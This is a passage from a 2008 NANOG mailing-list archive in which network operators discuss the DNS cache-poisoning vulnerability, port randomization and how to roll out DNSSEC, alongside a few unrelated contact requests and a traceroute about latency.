resolvers and configurations that know to expect signatures for that zone. Enterprises and consumer-facing ISPs can start deploying caching resolvers that use the AD bit and TSIG when talking to clients. The pressure on ICANN and down from there can happen at the same time. Some day, they'll meet in the middle... --Steve Bellovin, http://www.cs.columbia.edu/~smb From sean at donelan.com Wed Jul 9 12:55:52 2008 From: sean at donelan.com (Sean Donelan) Date: Wed, 9 Jul 2008 13:55:52 -0400 (EDT) Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709121127.63a6c8f5@yellowstone.machshav.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <20080709121127.63a6c8f5@yellowstone.machshav.com> Message-ID: On Wed, 9 Jul 2008, Steven M. Bellovin wrote: > How many ISPs run DNS servers for customers? Start by signing those > zones -- that has to be done in any event. Set up caching resolvers to > verify signatures. "It is not your part to finish the task, yet you > are not free to desist from it." (From the Talmud, circa 130.) > > No, I didn't say it would be easy, but if we don't start we're not > going to get anywhere. Are these the same ISPs that haven't started implementing other anti-spoofing controls like BCP38++? What is the estimated completion date to stop all spoofed IP packets, included but only DNS spoofing? From fergdawg at netzero.net Wed Jul 9 13:03:48 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Wed, 9 Jul 2008 18:03:48 GMT Subject: Multiple DNS implementations vulnerable to cache poisoning Message-ID: <20080709.110348.19134.0@webmail15.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- Sean Donelan wrote: >On Wed, 9 Jul 2008, Steven M. Bellovin wrote: >> How many ISPs run DNS servers for customers? Start by signing those >> zones -- that has to be done in any event. Set up caching resolvers to >> verify signatures. "It is not your part to finish the task, yet you >> are not free to desist from it." (From the Talmud, circa 130.) >> >> No, I didn't say it would be easy, but if we don't start we're not >> going to get anywhere. > >Are these the same ISPs that haven't started implementing other >anti-spoofing controls like BCP38++? > >What is the estimated completion date to stop all spoofed IP packets, >included but only DNS spoofing? The second Tuesday of next week? ;-) - - ferg (BCP38 Protagonist) -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIdP19q1pz9mNUZTMRAjhrAKC1a0S5jPNyp3BMg932hghE8xG/xwCgzNgl wdnoEpm0aNTbg+2KHU0w94I= =Uyns -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From jra at baylink.com Wed Jul 9 13:05:40 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Wed, 9 Jul 2008 14:05:40 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: <20080709180540.GE399@cgi.jachomes.com> On Wed, Jul 09, 2008 at 12:05:38PM -0400, Christopher Morrow wrote: > get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, > that's not nanog... doh! > > Pressure your local ICANN officers? One of the commenters on Slashdot, who did not sound entirely like a crank, says the root zone DNSKEYs and RRSIGs have been generated already, and his informant is waiting for the OK to deploy them. http://it.slashdot.org/comments.pl?sid=607413&cid=24106363 Cheers, -- jr 'yes, yes, I know; it's /. No, I don't believe in the Easter Bunny' a -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From jra at baylink.com Wed Jul 9 13:05:40 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Wed, 9 Jul 2008 14:05:40 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: <20080709180540.GE399@cgi.jachomes.com> On Wed, Jul 09, 2008 at 12:05:38PM -0400, Christopher Morrow wrote: > get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, > that's not nanog... doh! > > Pressure your local ICANN officers? One of the commenters on Slashdot, who did not sound entirely like a crank, says the root zone DNSKEYs and RRSIGs have been generated already, and his informant is waiting for the OK to deploy them. http://it.slashdot.org/comments.pl?sid=607413&cid=24106363 Cheers, -- jr 'yes, yes, I know; it's /. No, I don't believe in the Easter Bunny' a -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From hannigan at verneglobal.com Wed Jul 9 13:10:12 2008 From: hannigan at verneglobal.com (Martin Hannigan) Date: Wed, 9 Jul 2008 18:10:12 -0000 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807091006o44b4925bqd648236079572062@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu><75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com><20080709121127.63a6c8f5@yellowstone.machshav.com> <75cb24520807091006o44b4925bqd648236079572062@mail.gmail.com> Message-ID: [ snip ] > My point was really, how do we get dns-sec rolling? From the top-down > that's 'bug icann' right? and from the bottom-up that's: It's from the bottom up, not the top down, that might be most effective here. -M< From jrhett at netconsonance.com Wed Jul 9 13:41:44 2008 From: jrhett at netconsonance.com (Jo Rhett) Date: Wed, 9 Jul 2008 11:41:44 -0700 Subject: tacid.org In-Reply-To: <7ff145960807061155l6e229bfp585e5adb3449280c@mail.gmail.com> References: <3766534.1215356957091.JavaMail.root@whwamui-soar.pas.sa.earthlink.net> <7ff145960807061155l6e229bfp585e5adb3449280c@mail.gmail.com> Message-ID: <2B6E4B5D-1A57-4CEA-910C-9A55CF971B08@netconsonance.com> On Jul 6, 2008, at 11:55 AM, Jim Popovitch wrote: > some important information missing from the above details. You wrote > that your Exchange box was rooted, but you didn't indicate what you > did to resolve that. I'm not looking for the details of what you did, > just an overall statement about how you rectified it. You also Can you please take this to a mailing list which cares about mail servers? I can think of nearly 50 without trying. Thanks. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From jrhett at netconsonance.com Wed Jul 9 13:43:04 2008 From: jrhett at netconsonance.com (Jo Rhett) Date: Wed, 9 Jul 2008 11:43:04 -0700 Subject: updating & checking DNS zone files In-Reply-To: <20080705210727.GN12413@subspacefield.org> References: <20080705210727.GN12413@subspacefield.org> Message-ID: On Jul 5, 2008, at 2:07 PM, travis+ml-nanog at subspacefield.org wrote: > Apart from using Bernstein's tinydns, anyone have any scripts > for looking for problems in zone files or for incrementing the > serial number reliably? Yes, they talk about those things on mailing lists concerned with DNS. (hint: not this one) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From drc at virtualized.org Wed Jul 9 14:30:08 2008 From: drc at virtualized.org (David Conrad) Date: Wed, 9 Jul 2008 12:30:08 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: Message-ID: On Jul 9, 2008, at 10:39 AM, wrote: >>> Pressure your local ICANN officers? >> Mmph. https://ns.iana.org/dnssec/status.html >> (it's out of ICANN's hands) > > Huh!? > ... > It sounds like ICANN has the matter well in hand to me given > that it is only responsible for the common central bit of the > DNS system. Two answers: 1) The term 'signing the root' means a whole lot more than running dnssec-signzone over zone data. Specifically, the URL I provided shows that IANA is _already_ signing the root (more or less) and has been for over a year -- IANA actually has a _very_ elaborate and secure infrastructure (including multiple FIPS 140-3 hardware security modules, air gaps, physical security, and all sorts of other stuff) for root signing. The fact that root zone data you receive from the root servers is not signed may suggest that there is a bit more that needs to be done and pretty much all of that is NOT something ICANN has direct control over. 2) You are exactly right when you say: > The rest of the job is everyone's problem. Getting DNSSEC to be more than an academic exercise requires BOTH folks signing zones that form an unbroken chain of trust up to a trust anchor configured in validating name servers AND for the operators of those validating name servers to enable DNSSEC. Most of the thrust to date has been on one half of that requirement. How many ISPs represented here are in a position to turn on DNSSEC validation? How many are even running caches that are capable of doing DNSSEC? For DNSSEC to actually be useful, I suspect somebody needs to write software that provides the user with some indication other than a timeout that a name validation failed, but that's a separate issue. Regards, -drc From commonanog at gmail.com Wed Jul 9 15:10:48 2008 From: commonanog at gmail.com (commo dore) Date: Wed, 9 Jul 2008 14:10:48 -0600 Subject: Bell Contact Message-ID: <3e0571210807091310u5d12fba2m2be9a852a91b0dc2@mail.gmail.com> Can someone from Bell Canada(GT telecom) AS6539 contact me off list please Andrew Weidlich PCC Communications aweidlich at pcccinc.com From fernando at gont.com.ar Wed Jul 9 15:07:38 2008 From: fernando at gont.com.ar (Fernando Gont) Date: Wed, 09 Jul 2008 17:07:38 -0300 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709114143.01b59c15@cs.columbia.edu> References: <20080709114143.01b59c15@cs.columbia.edu> Message-ID: <200807092010.m69KAp25004011@venus.xmundo.net> At 12:41 p.m. 09/07/2008, Steven M. Bellovin wrote: >It's worth noting that the basic idea of the attack isn't new. Paul >Vixie described it in 1995 at the Usenix Security Conference >(http://www.usenix.org/publications/library/proceedings/security95/vixie.html) >-- in a section titled "What We Cannot Fix", he wrote: > > With only 16 bits worth of query ID and 16 bits worth of UDP > port number, it's hard not to be predictable. A determined > attacker can try all the numbers in a very short time and can > use patterns derived from examination of the freely available > BIND code. Even if we had a white noise generator to help > randomize our numbers, it's just too easy to try them all. We have one IETF ID on port randomization for years: http://www.gont.com.ar/drafts/port-randomization/index.html While this does not make the attack impossible, it does make it much harder. The same thing applies to those RST attacks circa 2004. Most of these blind attacks assume the source port numbers are easy to guess. But... why should they? Kind regards, -- Fernando Gont e-mail: fernando at gont.com.ar || fgont at acm.org PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1 From patrick at ianai.net Wed Jul 9 15:15:20 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 9 Jul 2008 16:15:20 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <200807092010.m69KAp25004011@venus.xmundo.net> References: <20080709114143.01b59c15@cs.columbia.edu> <200807092010.m69KAp25004011@venus.xmundo.net> Message-ID: <41018A3B-E5EA-49F2-A2F3-2ECB01C464D3@ianai.net> On Jul 9, 2008, at 4:07 PM, Fernando Gont wrote: > At 12:41 p.m. 09/07/2008, Steven M. Bellovin wrote: > >> It's worth noting that the basic idea of the attack isn't new. Paul >> Vixie described it in 1995 at the Usenix Security Conference >> (http://www.usenix.org/publications/library/proceedings/security95/vixie.html >> ) >> -- in a section titled "What We Cannot Fix", he wrote: >> >> With only 16 bits worth of query ID and 16 bits worth of UDP >> port number, it's hard not to be predictable. A determined >> attacker can try all the numbers in a very short time and can >> use patterns derived from examination of the freely available >> BIND code. Even if we had a white noise generator to help >> randomize our numbers, it's just too easy to try them all. > > We have one IETF ID on port randomization for years: http://www.gont.com.ar/drafts/port-randomization/index.html > > While this does not make the attack impossible, it does make it much > harder. > > The same thing applies to those RST attacks circa 2004. > > Most of these blind attacks assume the source port numbers are easy > to guess. But... why should they? Because many name servers use one port, or easily guessable sequence of ports? -- TTFN, patrick From eric at mail.rockefeller.edu Wed Jul 9 15:24:54 2008 From: eric at mail.rockefeller.edu (Eric Davis) Date: Wed, 9 Jul 2008 16:24:54 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <41018A3B-E5EA-49F2-A2F3-2ECB01C464D3@ianai.net> References: <20080709114143.01b59c15@cs.columbia.edu><200807092010.m69KAp25004011@venus.xmundo.net> <41018A3B-E5EA-49F2-A2F3-2ECB01C464D3@ianai.net> Message-ID: <016601c8e201$d9097720$5d815581@rockefeller.edu> Anyone using Infoblox DNSOne? They claimed to have fixed their BIND version but I still see issues with source ports staying the same. Eric Davis Sr. Network Technician Rockefeller University IT Dept. 212-327-7508 646-772-4667(cell) -----Original Message----- From: Patrick W. Gilmore [mailto:patrick at ianai.net] Sent: Wednesday, July 09, 2008 4:15 PM To: nanog at merit.edu Subject: Re: Multiple DNS implementations vulnerable to cache poisoning On Jul 9, 2008, at 4:07 PM, Fernando Gont wrote: > At 12:41 p.m. 09/07/2008, Steven M. Bellovin wrote: > >> It's worth noting that the basic idea of the attack isn't new. Paul >> Vixie described it in 1995 at the Usenix Security Conference >> (http://www.usenix.org/publications/library/proceedings/security95/vixie.htm l >> ) >> -- in a section titled "What We Cannot Fix", he wrote: >> >> With only 16 bits worth of query ID and 16 bits worth of UDP >> port number, it's hard not to be predictable. A determined >> attacker can try all the numbers in a very short time and can >> use patterns derived from examination of the freely available >> BIND code. Even if we had a white noise generator to help >> randomize our numbers, it's just too easy to try them all. > > We have one IETF ID on port randomization for years: http://www.gont.com.ar/drafts/port-randomization/index.html > > While this does not make the attack impossible, it does make it much > harder. > > The same thing applies to those RST attacks circa 2004. > > Most of these blind attacks assume the source port numbers are easy > to guess. But... why should they? Because many name servers use one port, or easily guessable sequence of ports? -- TTFN, patrick From randy at psg.com Wed Jul 9 16:52:45 2008 From: randy at psg.com (Randy Bush) Date: Thu, 10 Jul 2008 06:52:45 +0900 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: <4875332D.2000506@psg.com> > There are 4 ccTLDs (se, bg, pr, br) that are signed. wanna crawl in a corner in dublin and i can sign a few? randy From drc at virtualized.org Wed Jul 9 17:58:23 2008 From: drc at virtualized.org (David Conrad) Date: Wed, 9 Jul 2008 15:58:23 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <4875332D.2000506@psg.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> Message-ID: <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> Love to. We can also put your trust anchors in the prototype ITAR (see the first part of https://par.icann.org/files/paris/IANAReportKim_24Jun08.pdf) . Regards, -drc On Jul 9, 2008, at 2:52 PM, Randy Bush wrote: >> There are 4 ccTLDs (se, bg, pr, br) that are signed. > > wanna crawl in a corner in dublin and i can sign a few? > > randy > From randy at psg.com Wed Jul 9 18:17:21 2008 From: randy at psg.com (Randy Bush) Date: Thu, 10 Jul 2008 08:17:21 +0900 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> Message-ID: <48754701.9000409@psg.com> David Conrad wrote: >>> There are 4 ccTLDs (se, bg, pr, br) that are signed. >> wanna crawl in a corner in dublin and i can sign a few? > Love to. We can also put your trust anchors in the prototype ITAR (see > the first part of > https://par.icann.org/files/paris/IANAReportKim_24Jun08.pdf). aside from just getting some cctlds signed, i will be interested in the tools, usability, work flow, ... i.e. what is it like for a poor innocent cctld which wants to sign their zone? randy From drc at virtualized.org Wed Jul 9 18:28:43 2008 From: drc at virtualized.org (David Conrad) Date: Wed, 9 Jul 2008 16:28:43 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48754701.9000409@psg.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> Message-ID: On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: > aside from just getting some cctlds signed, i will be interested in > the > tools, usability, work flow, ... i.e. what is it like for a poor > innocent cctld which wants to sign their zone? If there is sufficient interest, we could do a bar bof to describe some of the tools IANA has... Regards, -drc From randy at psg.com Wed Jul 9 18:31:08 2008 From: randy at psg.com (Randy Bush) Date: Thu, 10 Jul 2008 08:31:08 +0900 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> Message-ID: <48754A3C.3020204@psg.com> >> aside from just getting some cctlds signed, i will be interested in >> the tools, usability, work flow, ... i.e. what is it like for a >> poor innocent cctld which wants to sign their zone? > If there is sufficient interest, we could do a bar bof to describe > some of the tools IANA has... sounds like a plan. i volunteer to be victim. randy From brunner at nic-naa.net Wed Jul 9 19:32:34 2008 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Wed, 09 Jul 2008 20:32:34 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> Message-ID: <487558A2.10702@nic-naa.net> David Conrad wrote: > On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: >> aside from just getting some cctlds signed, i will be interested in the >> tools, usability, work flow, ... i.e. what is it like for a poor >> innocent cctld which wants to sign their zone? > > If there is sufficient interest, we could do a bar bof to describe > some of the tools IANA has... > > Regards, > -drc Early please. I've got a tight schedule. From morrowc.lists at gmail.com Wed Jul 9 21:55:05 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 9 Jul 2008 22:55:05 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> Message-ID: <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> On Wed, Jul 9, 2008 at 7:28 PM, David Conrad wrote: > On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: >> >> aside from just getting some cctlds signed, i will be interested in the >> tools, usability, work flow, ... i.e. what is it like for a poor >> innocent cctld which wants to sign their zone? > > If there is sufficient interest, we could do a bar bof to describe some of > the tools IANA has... > I think Sandy Murphy or other Sparta folks have presented some of the work they've done on this... Perhaps finding one/some of them and having a more operations focused presentation in LAX or ... is a good idea as well? -Chris From hannigan at gmail.com Wed Jul 9 22:27:02 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Wed, 9 Jul 2008 23:27:02 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> Message-ID: <2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> On Wed, Jul 9, 2008 at 10:55 PM, Christopher Morrow wrote: > On Wed, Jul 9, 2008 at 7:28 PM, David Conrad wrote: >> On Jul 9, 2008, at 4:17 PM, Randy Bush wrote: >>> >>> aside from just getting some cctlds signed, i will be interested in the >>> tools, usability, work flow, ... i.e. what is it like for a poor >>> innocent cctld which wants to sign their zone? >> >> If there is sufficient interest, we could do a bar bof to describe some of >> the tools IANA has... >> > > I think Sandy Murphy or other Sparta folks have presented some of the > work they've done on this... Perhaps finding one/some of them and > having a more operations focused presentation in LAX or ... is a good > idea as well? I'd rather see the IANA do it. I wouldn't say that they are 100% neutral, but they're more neutral than SPARTA. -M< From morrowc.lists at gmail.com Wed Jul 9 22:46:53 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 9 Jul 2008 23:46:53 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> <2d106eb50807092027h4e841aa6jfbf0e49f9e42c7e6@mail.gmail.com> Message-ID: <75cb24520807092046t538b0426oae96eb8ba8dd79ef@mail.gmail.com> On Wed, Jul 9, 2008 at 11:27 PM, Martin Hannigan wrote: > On Wed, Jul 9, 2008 at 10:55 PM, Christopher Morrow > wrote: >> I think Sandy Murphy or other Sparta folks have presented some of the >> work they've done on this... Perhaps finding one/some of them and >> having a more operations focused presentation in LAX or ... is a good >> idea as well? > > > I'd rather see the IANA do it. I wouldn't say that they are 100% > neutral, but they're more neutral than SPARTA. I've got no particular want of sparta doing it, just mentioning that they had done at least one in the past... maybe DRC can roll out a preso/examples/docs for LAX/ :) I don't care as long as it'll help people start doing work on their part of the pie and it's applicable to the conference. -Chris From fbako at africaonline.co.ke Thu Jul 10 03:11:06 2008 From: fbako at africaonline.co.ke (Felix Bako) Date: Thu, 10 Jul 2008 11:11:06 +0300 Subject: Linkedin Contacts Message-ID: <4875C41A.8000008@africaonline.co.ke> Guyz. Anyone from Linkedin here? please contact me offlist. We have not been able to open www.linkedin.com from Our Ip space for close to 2 months now!!. Any Help will be highly apreciated Regards -- Felix Bako *Team Leader - Networks* Africa Online (K) LTD Tel: + 254 (20) 2792246 Fax: + 254 (20) 2710010 Email: _fbako at africaonline.co.ke _ AIM: felixbako *OFFICIAL CO ? SPONSOR OF THE 2008 TUSKER SAFARI SEVENS * A MEMBER OF TELKOM SOUTH AFRICA GROUP *Africa Online Disclaimer and Confidentiality Note* This e-mail, its attachments and any rights attaching hereto are, unless the context clearly indicates otherwise, the property of Africa Online Holdings (Kenya) Limited and / or its subsidiaries ("the Group"). It is confidential and intended for the addressee only. Should you not be the addressee and have received this e-mail by mistake, kindly notify the sender, delete this e-mail immediately and do not disclose or use the same in any manner whatsoever. Views and opinions expressed in this e-mail are those of the sender unless clearly stated as those of the Group. The Group accepts no liability whatsoever for any loss or damages, however incurred, resulting from the use of this e-mail or its attachments. The Group does not warrant the integrity of this e-mail, nor that it is free of errors, viruses, interception or interference. For more information about Africa Online, please visit our website at _http://www.africaonline.com _ From Joao_Damas at isc.org Thu Jul 10 05:17:08 2008 From: Joao_Damas at isc.org (Joao Damas) Date: Thu, 10 Jul 2008 12:17:08 +0200 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48754701.9000409@psg.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> Message-ID: <741F123D-00F1-465C-8D4F-F6A5DE7BE8A3@isc.org> I would love to get input on that be it in Dublin or elsewhere, both sides: the authoritative server and the recursive validator. We have ideas and want to do this but I will not claim to be the owner of THE TRUTH, so input is much desired. Joao PS: I would also want a copy of, or a secure method to access, the public part of the keys you use to sign those ccTLDs so I can place them in ISC's DLV registry On 10 Jul 2008, at 01:17, Randy Bush wrote: > David Conrad wrote: >>>> There are 4 ccTLDs (se, bg, pr, br) that are signed. >>> wanna crawl in a corner in dublin and i can sign a few? >> Love to. We can also put your trust anchors in the prototype ITAR >> (see >> the first part of >> https://par.icann.org/files/paris/IANAReportKim_24Jun08.pdf). > > aside from just getting some cctlds signed, i will be interested in > the > tools, usability, work flow, ... i.e. what is it like for a poor > innocent cctld which wants to sign their zone? > > randy From regnauld at catpipe.net Thu Jul 10 08:31:09 2008 From: regnauld at catpipe.net (Phil Regnauld) Date: Thu, 10 Jul 2008 15:31:09 +0200 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <016601c8e201$d9097720$5d815581@rockefeller.edu> References: <41018A3B-E5EA-49F2-A2F3-2ECB01C464D3@ianai.net> <016601c8e201$d9097720$5d815581@rockefeller.edu> Message-ID: <20080710133108.GI15877@catpipe.net> Eric Davis (eric) writes: > Anyone using Infoblox DNSOne? They claimed to have fixed their BIND version > but I still see issues with source ports staying the same. Which version are you running of the OS ? From nantoniello at antel.net.uy Thu Jul 10 08:52:43 2008 From: nantoniello at antel.net.uy (Nicolas Antoniello) Date: Thu, 10 Jul 2008 10:52:43 -0300 Subject: Big delays at Sprint or Verizon network? Message-ID: <4876142B.5080600@antel.net.uy> Hi all, Are any of you experiencing some unusual delay at Sprint or Verizon network? From here, we are getting about 400ms, where should be around 150-180ms. Thanks, Nicolas. 2 ibb2agu1-dist.antel.net.uy (200.40.0.143) 0 msec ibb2agu2-dist.antel.net.uy (200.40.0.153) 4 msec ibb2agu1-dist.antel.net.uy (200.40.0.143) 0 msec 3 * * * 4 * * * 5 POS1-0.IG2.MIA4.ALTER.NET (157.130.75.33) 468 msec 492 msec 488 msec 6 * * * 7 0.so-7-0-0.XL1.SJC1.ALTER.NET (152.63.55.106) 576 msec 588 msec * 8 * * * 9 cisco-sjc-gw.customer.alter.net (157.130.198.78) 572 msec 592 msec 588 msec From morrowc.lists at gmail.com Thu Jul 10 10:08:49 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 10 Jul 2008 11:08:49 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <4875332D.2000506@psg.com> <84A5FA5C-3FAB-4721-9D23-E1F95D7BE8F8@virtualized.org> <48754701.9000409@psg.com> <75cb24520807091955l42af1f42p677cd639798d3231@mail.gmail.com> Message-ID: <75cb24520807100808j7dfe3879w99b3efc795ee7c79@mail.gmail.com> On Thu, Jul 10, 2008 at 10:22 AM, Wes Hardaker wrote: >>>>>> On Wed, 9 Jul 2008 22:55:05 -0400, "Christopher Morrow" said: > >>>> aside from just getting some cctlds signed, i will be interested in the >>>> tools, usability, work flow, ... i.e. what is it like for a poor >>>> innocent cctld which wants to sign their zone? >>> >>> If there is sufficient interest, we could do a bar bof to describe some of >>> the tools IANA has... >>> > > CM> I think Sandy Murphy or other Sparta folks have presented some of the > CM> work they've done on this... Perhaps finding one/some of them and > CM> having a more operations focused presentation in LAX or ... is a good > CM> idea as well? > > The tools that Sparta developed (and made freely available via an open > source packaged that is BSD licensed) can be found at > http://www.dnssec-tools.org/ . In particular, signing a zone is yup, and that's helpful stuff. > intended to be easy using "zonesigner" (requires bind tools): > > zonesigner -genkeys db.example.com > great... what about a zone that's getting slaved off of a silent master at the customer site? how does that get integrated? (customer does the dns-sec magic, my server validates the updates... config examples help here) > Then next time, just leave off the -genkeys argument. > > (there is also a daemon called "rollerd" that can auto-sign on a regular > basis and help automate key-rollever timing) > nice, extra load induced on server? impact on the number of zones I can serve? tinydns compatible? db-backended NS daemon support? > The full list of tools and tutorials sectioned into different needs can > be found here: > > http://www.dnssec-tools.org/wiki/index.php/Tutorials > great :) > > All for free. Don't you hate those ??biased??, freely-available, > source-code-supplied-so-you-can-change-it, BSD-licensed open source > packages? > -- I like free... as long as it's the hammer I need for the nails I have. -Chris From Brian.Knoll at tradingtechnologies.com Thu Jul 10 10:16:04 2008 From: Brian.Knoll at tradingtechnologies.com (Brian Knoll (TT)) Date: Thu, 10 Jul 2008 10:16:04 -0500 Subject: Independent Testing for Network Hardware Message-ID: Can anyone recommend a reliable independent testing company that tests network hardware performance? We are considering buying testing hardware (right now we are looking at Spirent TestCenter) and I wanted to see if there were other options... Brian Knoll From mis at seiden.com Thu Jul 10 10:47:20 2008 From: mis at seiden.com (mark seiden-via mac) Date: Thu, 10 Jul 2008 08:47:20 -0700 Subject: Linkedin Contacts In-Reply-To: <4875C41A.8000008@africaonline.co.ke> References: <4875C41A.8000008@africaonline.co.ke> Message-ID: it probably has something to do with the large proportion of fraudsters using linked in and every personals site in the world for 419 and other confidence schemes, don't you think? of course, this only forces the fraudsters to use proxies, aol and satellite providers which are more difficult to geolocate. On Jul 10, 2008, at 1:11 AM, Felix Bako wrote: > Guyz. Anyone from Linkedin here? please > contact me offlist. We have not been able to open www.linkedin.com > from Our Ip space for close to 2 months now!!. > Any Help will be highly apreciated > > Regards > > -- > Felix Bako > *Team Leader - Networks* > Africa Online (K) LTD > Tel: + 254 (20) 2792246 > Fax: + 254 (20) 2710010 > Email: _fbako at africaonline.co.ke _ > AIM: felixbako > > > > > *OFFICIAL CO ? SPONSOR OF THE 2008 TUSKER SAFARI SEVENS > * > > A MEMBER OF TELKOM SOUTH AFRICA GROUP > > *Africa Online Disclaimer and Confidentiality Note* > > This e-mail, its attachments and any rights attaching hereto are, > unless > the context clearly indicates otherwise, the property of Africa Online > Holdings (Kenya) Limited and / or its subsidiaries ("the Group"). It > is > confidential and intended for the addressee only. Should you not be > the > addressee and have received this e-mail by mistake, kindly notify the > sender, delete this e-mail immediately and do not disclose or use the > same in any manner whatsoever. Views and opinions expressed in this > e-mail are those of the sender unless clearly stated as those of the > Group. The Group accepts no liability whatsoever for any loss or > damages, however incurred, resulting from the use of this e-mail or > its > 